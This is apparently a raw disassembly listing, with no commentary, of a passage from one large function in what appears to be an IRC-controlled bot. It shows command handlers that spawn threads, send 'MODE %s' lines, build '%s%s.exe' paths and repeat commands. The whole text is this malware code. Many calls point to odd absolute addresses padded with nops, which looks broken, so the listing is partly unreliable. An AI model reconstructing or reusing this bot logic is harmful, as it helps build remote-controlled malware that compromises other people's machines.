call near ptr 2670D70h
push eax
push offset unk_42A4CC
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407B55: ; CODE XREF: sub_401ACD+4EA3j
; sub_401ACD+4EBAj
push [ebp+arg_10]
call sub_41B779
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A39C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AA
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407C41
loc_407C2B: ; CODE XREF: sub_401ACD+6172j
cmp [ebp+var_1118], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_407C2B
; ---------------------------------------------------------------------------
loc_407C41: ; CODE XREF: sub_401ACD+615Cj
nop
call near ptr 2670D70h
push eax
push offset unk_42A358
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407C52: ; CODE XREF: sub_401ACD+4E75j
; sub_401ACD+4E8Cj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAB
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB1
; ---------------------------------------------------------------------------
loc_407CAB: ; CODE XREF: sub_401ACD+61C8j
mov [ebp+var_2668], ebx
loc_407CB1: ; CODE XREF: sub_401ACD+61DCj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC8
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCE
; ---------------------------------------------------------------------------
loc_407CC8: ; CODE XREF: sub_401ACD+61EAj
mov [ebp+var_266C], ebx
loc_407CCE: ; CODE XREF: sub_401ACD+61F9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A32C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407D7F
loc_407D69: ; CODE XREF: sub_401ACD+62B0j
cmp [ebp+var_2658], ebx
jnz loc_407278
push 32h
nop
call near ptr 26703BBh
jmp short loc_407D69
; ---------------------------------------------------------------------------
loc_407D7F: ; CODE XREF: sub_401ACD+629Aj
nop
call near ptr 2670D70h
push eax
push offset unk_42A2EC
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407D90: ; CODE XREF: sub_401ACD+4E47j
; sub_401ACD+4E5Ej
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A2B0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset byte_414A91
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407E67
loc_407E51: ; CODE XREF: sub_401ACD+6398j
cmp [ebp+var_3284], ebx
jnz loc_407278
push 32h
call near ptr 26703BBh
nop
jmp short loc_407E51
; ---------------------------------------------------------------------------
loc_407E67: ; CODE XREF: sub_401ACD+6382j
nop
call near ptr 2670D70h
push eax
push offset unk_42A278
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj
; sub_401ACD+4D31j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A248
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset dword_4137CC
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407F4F
loc_407F39: ; CODE XREF: sub_401ACD+6480j
cmp [ebp+var_2E5C], ebx
jnz loc_407278
push 32h
call near ptr 26703BBh
nop
jmp short loc_407F39
; ---------------------------------------------------------------------------
loc_407F4F: ; CODE XREF: sub_401ACD+646Aj
nop
call near ptr 2670D70h
push eax
push offset unk_42A210
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407F60: ; CODE XREF: sub_401ACD+4BF1j
; sub_401ACD+4C08j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A1E0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset byte_412A53
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408048
loc_408032: ; CODE XREF: sub_401ACD+6579j
cmp [ebp+var_3A5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 26703BBh
jmp short loc_408032
; ---------------------------------------------------------------------------
loc_408048: ; CODE XREF: sub_401ACD+6563j
nop
call near ptr 2670D70h
push eax
push offset unk_42A1A8
jmp loc_407269
; ---------------------------------------------------------------------------
loc_408059: ; CODE XREF: sub_401ACD+4BC3j
; sub_401ACD+4BDAj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A4
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A4: ; CODE XREF: sub_401ACD+65C3j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A178
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408130
loc_40811A: ; CODE XREF: sub_401ACD+6661j
cmp [ebp+var_161C], ebx
jnz loc_406CDE
push 32h
call near ptr 26703BBh
nop
jmp short loc_40811A
; ---------------------------------------------------------------------------
loc_408130: ; CODE XREF: sub_401ACD+664Bj
nop
call near ptr 2670D70h
push eax
push offset dword_42A13C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408141: ; CODE XREF: sub_401ACD+4B83j
; sub_401ACD+4B9Aj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408234
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A110
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset byte_412E9D
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408223
loc_408211: ; CODE XREF: sub_401ACD+6754j
cmp [ebp+var_1D54], ebx
jnz short loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_408211
; ---------------------------------------------------------------------------
loc_408223: ; CODE XREF: sub_401ACD+6742j
call near ptr 2670D70h
nop
push eax
push offset unk_42A0D8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_408234: ; CODE XREF: sub_401ACD+6683j
push offset unk_42A0A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40823E: ; CODE XREF: sub_401ACD+4B55j
; sub_401ACD+4B6Cj
push edi
push [ebp+arg_10]
nop
call near ptr 2690B2Ah
test eax, eax
jz short loc_40826B
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A07C
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828B
; ---------------------------------------------------------------------------
loc_40826B: ; CODE XREF: sub_401ACD+677Dj
push offset dword_42A070
call sub_41814C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408288: ; CODE XREF: sub_401ACD+2F2Aj
; sub_401ACD+556Fj
add esp, 0Ch
loc_40828B: ; CODE XREF: sub_401ACD+2136j
; sub_401ACD+2ECCj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A8: ; CODE XREF: sub_401ACD+57C6j
call sub_409A72
add esp, 14h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4082B5: ; CODE XREF: sub_401ACD+4B27j
; sub_401ACD+4B3Ej
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082EF
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082EF
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082EF: ; CODE XREF: sub_401ACD+6802j
; sub_401ACD+6811j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A040
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset byte_416CAD
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4083A1
loc_40838F: ; CODE XREF: sub_401ACD+68D2j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BC
push 32h
nop
call near ptr 26703BBh
jmp short loc_40838F
; ---------------------------------------------------------------------------
loc_4083A1: ; CODE XREF: sub_401ACD+68C0j
nop
call near ptr 2670D70h
push eax
push offset unk_42A004
loc_4083AD: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BC: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j
; sub_401ACD+4B10j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408403
mov [ebp+var_638], 5
loc_408403: ; CODE XREF: sub_401ACD+692Bj
cmp [ebp+var_C], ebx
jz loc_406CDE
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDE
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 2660000h
nop
test eax, eax
jnz short loc_40844C
push offset unk_429FE0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40844C: ; CODE XREF: sub_401ACD+6973j
push edi
push offset dword_429FC4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408457: ; CODE XREF: sub_401ACD+4ACBj
; sub_401ACD+4AE2j
push edi
push offset aDark ; "Dark"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D0
lea eax, [ebp+var_48F0]
push eax
push 104h
nop
call near ptr 2690000h
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD80
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084EC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F2
; ---------------------------------------------------------------------------
loc_4084EC: ; CODE XREF: sub_401ACD+6A09j
mov [ebp+var_23C0], ebx
loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408509
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_40850F
; ---------------------------------------------------------------------------
loc_408509: ; CODE XREF: sub_401ACD+6A2Bj
mov [ebp+var_23C4], ebx
loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_429F8C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4085BF
loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j
cmp [ebp+var_23B0], ebx
jnz loc_406CDE
push 32h
call near ptr 26703BBh
nop
jmp short loc_4085A9
; ---------------------------------------------------------------------------
loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj
nop
call near ptr 2670D70h
push eax
push offset dword_429F50
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_401ACD+6999j
push offset dword_429F08
loc_4085D5: ; CODE XREF: sub_401ACD+2E73j
; sub_401ACD+457Cj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj
; sub_401ACD+4AB4j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408673
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
call near ptr 26703BBh
nop
loc_408673: ; CODE XREF: sub_401ACD+6B8Ej
push offset dword_429EE4
call sub_4151AC
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408687: ; CODE XREF: sub_401ACD+4A6Fj
; sub_401ACD+4A86j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408745
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_429ECC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408745: ; CODE XREF: sub_401ACD+6BFAj
push offset unk_429E98
loc_40874A: ; CODE XREF: sub_401ACD+7542j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408759: ; CODE XREF: sub_401ACD+74CAj
; sub_401ACD+7623j
cmp [ebp+var_8], ebx
jnz short loc_40877A
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj
; sub_401ACD+72C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_409853
; ---------------------------------------------------------------------------
loc_40878B: ; CODE XREF: sub_401ACD+4A41j
; sub_401ACD+4A58j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_429E64
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset byte_4143CB
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40884B
loc_408839: ; CODE XREF: sub_401ACD+6D7Cj
cmp [ebp+var_2088], ebx
jnz short loc_408866
push 32h
call near ptr 26703BBh
nop
jmp short loc_408839
; ---------------------------------------------------------------------------
loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj
call near ptr 2670D70h
nop
push eax
push offset unk_429E28
loc_408857: ; CODE XREF: sub_401ACD+6E89j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408866: ; CODE XREF: sub_401ACD+6D72j
; sub_401ACD+6E6Dj
cmp [ebp+var_8], ebx
jnz loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409628
; ---------------------------------------------------------------------------
loc_408886: ; CODE XREF: sub_401ACD+4A13j
; sub_401ACD+4A2Aj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_429DFC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset byte_413B77
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40894A
loc_408934: ; CODE XREF: sub_401ACD+6E7Bj
cmp [ebp+var_221C], ebx
jnz loc_408866
push 32h
call near ptr 26703BBh
nop
jmp short loc_408934
; ---------------------------------------------------------------------------
loc_40894A: ; CODE XREF: sub_401ACD+6E65j
nop
call near ptr 2670D70h
push eax
push offset dword_429DC0
jmp loc_408857
; ---------------------------------------------------------------------------
loc_40895B: ; CODE XREF: sub_401ACD+49E5j
; sub_401ACD+49FCj
push edi
lea eax, [ebp+var_2C4]
push offset dword_429DB8
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408978: ; CODE XREF: sub_401ACD+6F16j
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
loc_408994: ; CODE XREF: sub_401ACD+7A55j
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4089BF: ; CODE XREF: sub_401ACD+49B7j
; sub_401ACD+49CEj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_429DA4
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408978
; ---------------------------------------------------------------------------
loc_4089E5: ; CODE XREF: sub_401ACD+4989j
; sub_401ACD+49A0j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409854
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset dword_429D88
loc_408A4B: ; CODE XREF: sub_401ACD+7009j
; sub_401ACD+7078j ...
call sub_415220
jmp loc_404933
; ---------------------------------------------------------------------------
loc_408A55: ; CODE XREF: sub_401ACD+495Bj
; sub_401ACD+4972j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A84
push esi
lea eax, [ebp+var_2C4]
push offset dword_429D80
push eax
call sub_41B886
add esp, 0Ch
loc_408A84: ; CODE XREF: sub_401ACD+6FA0j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D64
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408ADB: ; CODE XREF: sub_401ACD+492Dj
; sub_401ACD+4944j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push esi
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D48
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408B4A: ; CODE XREF: sub_401ACD+48FFj
; sub_401ACD+4916j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset unk_429D20
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_408B86: ; CODE XREF: sub_401ACD+48D1j
; sub_401ACD+48E8j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 26703BBh
nop
push [ebp+esi+var_84]
push edi
